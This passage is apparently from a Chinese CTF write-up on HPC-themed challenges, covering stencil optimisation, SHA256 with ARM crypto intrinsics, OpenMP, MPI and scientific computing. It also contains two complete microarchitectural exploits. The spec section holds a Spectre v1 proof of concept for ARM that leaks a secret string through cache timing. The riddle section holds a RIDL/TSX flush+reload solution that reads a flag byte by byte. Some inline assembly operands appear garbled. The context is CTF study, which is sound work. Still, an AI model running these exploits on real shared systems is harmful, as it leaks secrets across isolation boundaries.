printf("SUCCESS!!!\n");
else
printf("FAILURE!!!\n");
​
return 0;
}
​
#endif

conv

本题是一个类似于卷积的 stencil 操作, 有一些故意降低运行速度的代码, 需要选手去处理, 比如双层 for 循环顺序被调换, 并且计算时可以使用整形而不是浮点数, 以及对写入文件时可以进行结构上的优化. 优化思路如下

 

hash

本题与 AES 相似, 需要利用 CPU 上 SHA2 指令集扩展. 并且同时需要使用 OpenMP 进行并行, 充分利用服务器上 48 个核心. 一个简单的实例hash.c.

hash.c

#if defined(__arm__) || defined(__aarch32__) || defined(__arm64__) || defined(__aarch64__) || defined(_M_ARM)
# if defined(__GNUC__)
#  include <stdint.h>
# endif
# if defined(__ARM_NEON) || defined(_MSC_VER) || defined(__GNUC__)
#  include <arm_neon.h>
# endif
/* GCC and LLVM Clang, but not Apple Clang */
# if defined(__GNUC__) && !defined(__apple_build_version__)
#  if defined(__ARM_ACLE) || defined(__ARM_FEATURE_CRYPTO)
#   include <arm_acle.h>
#  endif
# endif
#endif  /* ARM Headers */

static const uint32_t K[] =
{
    0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5,
    0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5,
    0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3,
    0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174,
    0xE49B69C1, 0xEFBE4786, 0x0FC19DC6, 0x240CA1CC,
    0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA,
    0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7,
    0xC6E00BF3, 0xD5A79147, 0x06CA6351, 0x14292967,
    0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13,
    0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85,
    0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3,
    0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070,
    0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5,
    0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3,
    0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208,
    0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2,
};

/* Process multiple blocks. The caller is responsible for setting the initial */
/*  state, and the caller is responsible for padding the final block.        */
void sha256_process_arm(uint32_t state[8], const uint8_t data[], uint32_t length)
{
    uint32x4_t STATE0, STATE1, ABEF_SAVE, CDGH_SAVE;
    uint32x4_t MSG0, MSG1, MSG2, MSG3;
    uint32x4_t TMP0, TMP1, TMP2;

    /* Load state */
    STATE0 = vld1q_u32(&state[0]);
    STATE1 = vld1q_u32(&state[4]);

    while (length >= 64)
    {
        /* Save state */
        ABEF_SAVE = STATE0;
        CDGH_SAVE = STATE1;

        /* Load message */
        MSG0 = vld1q_u32((const uint32_t *)(data +  0));
        MSG1 = vld1q_u32((const uint32_t *)(data + 16));
        MSG2 = vld1q_u32((const uint32_t *)(data + 32));
        MSG3 = vld1q_u32((const uint32_t *)(data + 48));

        /* Reverse for little endian */
        MSG0 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG0)));
        MSG1 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG1)));
        MSG2 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG2)));
        MSG3 = vreinterpretq_u32_u8(vrev32q_u8(vreinterpretq_u8_u32(MSG3)));

        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x00]));

        /* Rounds 0-3 */
        MSG0 = vsha256su0q_u32(MSG0, MSG1);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x04]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG0 = vsha256su1q_u32(MSG0, MSG2, MSG3);

        /* Rounds 4-7 */
        MSG1 = vsha256su0q_u32(MSG1, MSG2);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x08]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG1 = vsha256su1q_u32(MSG1, MSG3, MSG0);

        /* Rounds 8-11 */
        MSG2 = vsha256su0q_u32(MSG2, MSG3);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x0c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG2 = vsha256su1q_u32(MSG2, MSG0, MSG1);

        /* Rounds 12-15 */
        MSG3 = vsha256su0q_u32(MSG3, MSG0);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x10]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG3 = vsha256su1q_u32(MSG3, MSG1, MSG2);

        /* Rounds 16-19 */
        MSG0 = vsha256su0q_u32(MSG0, MSG1);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x14]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG0 = vsha256su1q_u32(MSG0, MSG2, MSG3);

        /* Rounds 20-23 */
        MSG1 = vsha256su0q_u32(MSG1, MSG2);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x18]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG1 = vsha256su1q_u32(MSG1, MSG3, MSG0);

        /* Rounds 24-27 */
        MSG2 = vsha256su0q_u32(MSG2, MSG3);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x1c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG2 = vsha256su1q_u32(MSG2, MSG0, MSG1);

        /* Rounds 28-31 */
        MSG3 = vsha256su0q_u32(MSG3, MSG0);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x20]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG3 = vsha256su1q_u32(MSG3, MSG1, MSG2);

        /* Rounds 32-35 */
        MSG0 = vsha256su0q_u32(MSG0, MSG1);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x24]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG0 = vsha256su1q_u32(MSG0, MSG2, MSG3);

        /* Rounds 36-39 */
        MSG1 = vsha256su0q_u32(MSG1, MSG2);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x28]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG1 = vsha256su1q_u32(MSG1, MSG3, MSG0);

        /* Rounds 40-43 */
        MSG2 = vsha256su0q_u32(MSG2, MSG3);
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x2c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);
        MSG2 = vsha256su1q_u32(MSG2, MSG0, MSG1);

        /* Rounds 44-47 */
        MSG3 = vsha256su0q_u32(MSG3, MSG0);
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG0, vld1q_u32(&K[0x30]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);
        MSG3 = vsha256su1q_u32(MSG3, MSG1, MSG2);

        /* Rounds 48-51 */
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG1, vld1q_u32(&K[0x34]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);

        /* Rounds 52-55 */
        TMP2 = STATE0;
        TMP0 = vaddq_u32(MSG2, vld1q_u32(&K[0x38]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);

        /* Rounds 56-59 */
        TMP2 = STATE0;
        TMP1 = vaddq_u32(MSG3, vld1q_u32(&K[0x3c]));
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP0);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP0);

        /* Rounds 60-63 */
        TMP2 = STATE0;
        STATE0 = vsha256hq_u32(STATE0, STATE1, TMP1);
        STATE1 = vsha256h2q_u32(STATE1, TMP2, TMP1);

        /* Combine state */
        STATE0 = vaddq_u32(STATE0, ABEF_SAVE);
        STATE1 = vaddq_u32(STATE1, CDGH_SAVE);

        data += 64;
        length -= 64;
    }

    /* Save state */
    vst1q_u32(&state[0], STATE0);
    vst1q_u32(&state[4], STATE1);
}

#if defined(TEST_MAIN)

#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[])
{
    /* empty message with padding */
    uint8_t message[64];
    memset(message, 0x00, sizeof(message));
    message[0] = 0x80;

    /* initial state */
    uint32_t state[8] = {
        0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
        0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19
    };

    sha256_process_arm(state, message, sizeof(message));

    const uint8_t b1 = (uint8_t)(state[0] >> 24);
    const uint8_t b2 = (uint8_t)(state[0] >> 16);
    const uint8_t b3 = (uint8_t)(state[0] >>  8);
    const uint8_t b4 = (uint8_t)(state[0] >>  0);
    const uint8_t b5 = (uint8_t)(state[1] >> 24);
    const uint8_t b6 = (uint8_t)(state[1] >> 16);
    const uint8_t b7 = (uint8_t)(state[1] >>  8);
    const uint8_t b8 = (uint8_t)(state[1] >>  0);

    /* e3b0c44298fc1c14... */
    printf("SHA256 hash of empty message: ");
    printf("%02X%02X%02X%02X%02X%02X%02X%02X...\n",
        b1, b2, b3, b4, b5, b6, b7, b8);

    int success = ((b1 == 0xE3) && (b2 == 0xB0) && (b3 == 0xC4) && (b4 == 0x42) &&
                    (b5 == 0x98) && (b6 == 0xFC) && (b7 == 0x1C) && (b8 == 0x14));

    if (success)
        printf("Success!\n");
    else
        printf("Failure!\n");

    return (success != 0 ? 0 : 1);
}

#endif

mpi

本题原理上是一个刻意生成的有向图, 其中的哈密顿回路唯一. 题目对输入做 Cantor 展开之后, 再通过 MPI 构造拓扑结构检验是否为一个哈密顿环路. 如果正确则输出 flag. 解题思路为寻找其中的哈密顿回路, 而后通过 Cantor 展开还原为输入即可.

omp

本题的目的是为了让选手熟悉 OpenMP 这个计算框架. 同时故意设置了并行中的 race condition. 选手如果理解了各线程的时间差之后, 即可得知本题真正的内部逻辑. revert 的代码非常简单.

rt.c

void rt(void){
    for(int l = 0; l < 3; l++){
        int64_t temp = io.d32[l];
        int64_t xo = temp >> 30;
        temp = temp & 0x3FFFFFFF;
        for(int64_t j = 0; j < (2 << 24); j++) {
            temp = (temp >> 29) | (temp << 1);
            temp ^= xo ^ 3;
            temp = temp & 0x3FFFFFFF;
        }
        temp = temp | (xo << 30);
        io.d32[l] = (uint32_t) temp;
    }
}

sci

本题源于真实的应用场景, 是出题人实验室曾经为香港大学某神经科学实验室优化过的一个科学计算应用, 是一个二阶盲源分离算法, 用于 EEG 信号处理.

这里为了降低难度给选手一个部分优化过的中间版本. 只需要选手自己在合适的位置加入合适的并行性即可. 总体的优化思路如下。

spec

经过详细测试, 鲲鹏芯片上有 spectre & meltdown 漏洞. 本题设计了一个典型的 spectre 漏洞的场景. 考虑到 arm 上没有类似于 rdtsc 的指令, 加入了第二个线程使其可以通过一个死循环来判断时间. 一个简单的 poc.

poc.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
//#include <pthread.h>
#include <sys/mman.h>
​
/********************************************************************
Victim code.
********************************************************************/
volatile uint64_t counter = 0;
uint64_t miss_min = 0;
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char* secret = "The Magic Words are Squeamish Ossifrage.";
​
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
​
void victim_function(size_t x) {
   if (x < array1_size)
  {
       temp &= array2[array1[x] * 512];
  }
}
​
void *inc_counter(void *a) {
   while (1) {
       counter++;
       //asm volatile ("DMB SY");
  }
}
​
// timing and flush methods copied from https://github.com/lgeek/spec_poc_arm
static uint64_t timed_read(volatile uint8_t *addr) {
   uint64_t ns = counter;
​
   asm volatile (
       "DSB SY\n"
       "LDR X5, [%
]\n"
       "DSB SY\n"
      : : [ad] "r" (addr) : "x5");
​
   return counter - ns;
}
​
static inline void flush(void *addr) {
   asm volatile ("DC CIVAC, %
" : : [ad] "r" (addr));
   asm volatile("DSB SY");
}
​
uint64_t measure_latency() {
   uint64_t ns;
   uint64_t min = 0xFFFFF;
​
   for (int r = 0; r < 300; r++) {
       flush(&array1[0]);
       ns = timed_read(&array1[0]);
       if (ns < min) min = ns;
  }
​
   return min;
}
​
​
/********************************************************************
Analysis code
********************************************************************/
​
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
   static int results[256];
   int tries, i, j, k, mix_i;
   size_t training_x, x;
   register uint64_t time2;
​
   for (i = 0; i < 256; i++)
       results[i] = 0;
   for (tries = 999; tries > 0; tries--) {
​
       /* Flush array2[256*(0..255)] from cache */
       for (i = 0; i < 256; i++)
           flush(&array2[i * 512]); /* intrinsic for clflush instruction */
​
       /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
       training_x = tries % array1_size;
       for (j = 29; j >= 0; j--) {
           flush(&array1_size);
           for (volatile int z = 0; z < 100; z++)
          {
          } /* Delay (can also mfence) */
​
           /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
           /* Avoid jumps in case those tip off the branch predictor */
           x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
           x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
           x = training_x ^ (x & (malicious_x ^ training_x));
​
           /* Call the victim! */
           victim_function(x);
      }
​
       /* Time reads. Order is lightly mixed up to prevent stride prediction */
       for (i = 0; i < 256; i++)
      {
           mix_i = ((i * 167) + 13) & 255;
           time2 = timed_read(&array2[mix_i * 512]);
           if (time2 <= miss_min && mix_i != array1[tries % array1_size])
               results[mix_i]++; /* cache hit - add +1 to score for this value */
      }
​
       /* Locate highest & second-highest results results tallies in j/k */
       j = k = -1;
       for (i = 0; i < 256; i++)
      {
           if (j < 0 || results[i] >= results[j])
          {
               k = j;
               j = i;
          }
           else if (k < 0 || results[i] >= results[k])
          {
               k = i;
          }
      }
       if (j == 0)
           continue;
​
       if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
           break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
   value[0] = (uint8_t)j;
   score[0] = results[j];
   value[1] = (uint8_t)k;
   score[1] = results[k];
}
​
int main(int argc, const char * * argv) {
   char *flag = mmap(0, 4096*2, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
   printf("Putting '%s' in memory\n", secret);
   memcpy(flag, secret, 40);
   size_t malicious_x = (size_t)(flag - (char *)array1); /* default for malicious_x */
   int score[2], len = strlen(secret);
   uint8_t value[2];
​
   for (size_t i = 0; i < sizeof(array2); i++)
       array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
​
   pthread_t inc_counter_thread;
   //if (pthread_create(&inc_counter_thread, NULL, inc_counter, NULL)) {
   // fprintf(stderr, "Error creating thread\n");
   // return 1;
   //}
   // let the bullets fly a bit ....
   //while (counter < 10000000);
   asm volatile ("DSB SY");
​
   miss_min = measure_latency();
   if (miss_min == 0) {
       fprintf(stderr, "Unreliable access timing\n");
       exit(EXIT_FAILURE);
  }
   miss_min -= 1;
   printf("miss_min %d\n", miss_min);
​
   printf("Reading %d bytes:\n", len);
   while (--len >= 0)
  {
       printf("Reading at malicious_x = %p... ", (void *)malicious_x);
       readMemoryByte(malicious_x++, value, score);
       printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
       printf("0x%02X='%c' score=%d ", value[0],
          (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
       if (score[1] > 0)
           printf("(second best: 0x%02X='%c' score=%d)", value[1],
          (value[1] > 31 && value[1] < 127 ? value[1] : '?'),
               score[1]);
       printf("\n");
  }
   return (0);
}

riddle

riddle 实际上是 intel 的 RIDL 漏洞. 本题是对其漏洞的一个利用. 一个测试的 solution. 对于实际环境应该需要做相应更改.

sc.c

#include <immintrin.h>
#include <emmintrin.h>
​
typedef unsigned long long int uint64_t;
​
int recover(void *probe, int threshold);
void myputc(char c);
void mfence();
void flush(void *p);
void maccess(void *p);
inline unsigned long flush_reload(const char *adrs);
size_t detect_flush_reload_threshold(void *probe);
void writeint(unsigned int);
​
​
#define BUCKET_SIZE 4096
#define BUCKETS 16
#define BUFFER_SIZE (BUCKET_SIZE * BUCKETS)
#define FLAG_SIZE 24
​
void _start(void *probe)
{
register unsigned char bits = 24;
register uint64_t mask  = (1 << (bits + 4)) - 1;
register uint64_t known = 'FTC';
register uint64_t addr = 0x10;
int recovered = bits / 8;
​
for (int i = 0; i < BUFFER_SIZE; i++) {
((char *)probe)[i] = 0;
}
​
int threshold = detect_flush_reload_threshold(probe);
/* Hard-coded value works better. */
threshold = 100;
writeint(threshold);
​
/* Read nibble by nibble. */
while (recovered < FLAG_SIZE * 8) {
uint64_t value;
​
if (_xbegin() == _XBEGIN_STARTED)
{
value = *(uint64_t *)addr;
value &= mask;
value -= known;
value = (value >> bits) | (value << (64 - bits));
maccess(probe + BUCKET_SIZE * value);
_xend();
}
else
{
int nibble = recover(probe, threshold);
if (nibble < 0)
continue;
known |= (nibble << bits);
if (bits == 24) {
mask = (mask << 4) | 0xf;
bits += 4;
} else {
myputc(known >> 24);
known >>= 8;
mask >>= 4;
addr++;
recovered++;
bits = 24;
}
}
}
}
​
int recover(void *probe, int threshold)
{
int winner = -1;
for (int i = 0; i < BUCKETS; i++) {
unsigned long t = flush_reload((char *)probe + BUCKET_SIZE * i);
if (t < threshold) {
/* If there are two winners, try again. */
if (winner >= 0)
return -1;
winner = i;
}
}
return winner;
}
​
void myputc(char c)
{
int ret = 0;
volatile char buf[] = { c };
asm volatile(
"movq %1, %%rsi \n\t"
"movq %2, %%rdx \n\t"
"movq $1, %%rax \n\t"
"movq $1, %%rdi \n\t"
"syscall\n\t"
: "=g"(ret)
: "g"(buf), "g" (1)
: "rsi", "rdx", "rax", "rdi"
);
}
​
void writeint(unsigned int x)
{
myputc(x&0xff);
myputc((x>>8)&0xff);
myputc((x>>16)&0xff);
myputc((x>>24)&0xff);
}
​
void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); }
​
// ---------------------------------------------------------------------------
void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }
​
// ---------------------------------------------------------------------------
void mfence() { asm volatile("mfence"); }
​
uint64_t rdtsc() {
 unsigned long long a, d;
 asm volatile("mfence");
 asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx");
 a = (d << 32) | a;
 asm volatile("mfence");
 return a;
}
​
__attribute__((always_inline))
inline unsigned long flush_reload(const char *adrs)
{
 volatile unsigned long time;
​
 asm __volatile__ (
   "mfence             \n"
   "lfence             \n"
   "rdtsc             \n"
   "lfence             \n"
   "movl %%eax, %%esi \n"
   "movl (%1), %%eax   \n"
   "lfence             \n"
   "rdtsc             \n"
   "subl %%esi, %%eax \n"
   "clflush 0(%1)     \n"
  : "=a" (time)
  : "c" (adrs)
  :  "%esi", "%edx");
​
 return time;
}
​
// ---------------------------------------------------------------------------
int flush_reload_t(void *ptr) {
 uint64_t start = 0, end = 0;
​
 start = rdtsc();
 maccess(ptr);
 end = rdtsc();
​
 mfence();
​
 flush(ptr);
​
 return (int)(end - start);
}
​
// ---------------------------------------------------------------------------
int reload_t(void *ptr) {
 uint64_t start = 0, end = 0;
​
 start = rdtsc();
 maccess(ptr);
 end = rdtsc();
​
 mfence();
​
 return (int)(end - start);
}
​
​
// ---------------------------------------------------------------------------
size_t detect_flush_reload_threshold(void *probe) {
 size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
 size_t *ptr = probe + BUCKET_SIZE * BUCKETS;
​
 maccess(ptr);
 for (i = 0; i < count; i++) {
   reload_time += reload_t(ptr);
}
 for (i = 0; i < count; i++) {
   flush_reload_time += flush_reload_t(ptr);
}
 reload_time /= count;
 flush_reload_time /= count;
​
 writeint(reload_time);
 writeint(flush_reload_time);
​
 return (flush_reload_time + reload_time * 5) / 6;
}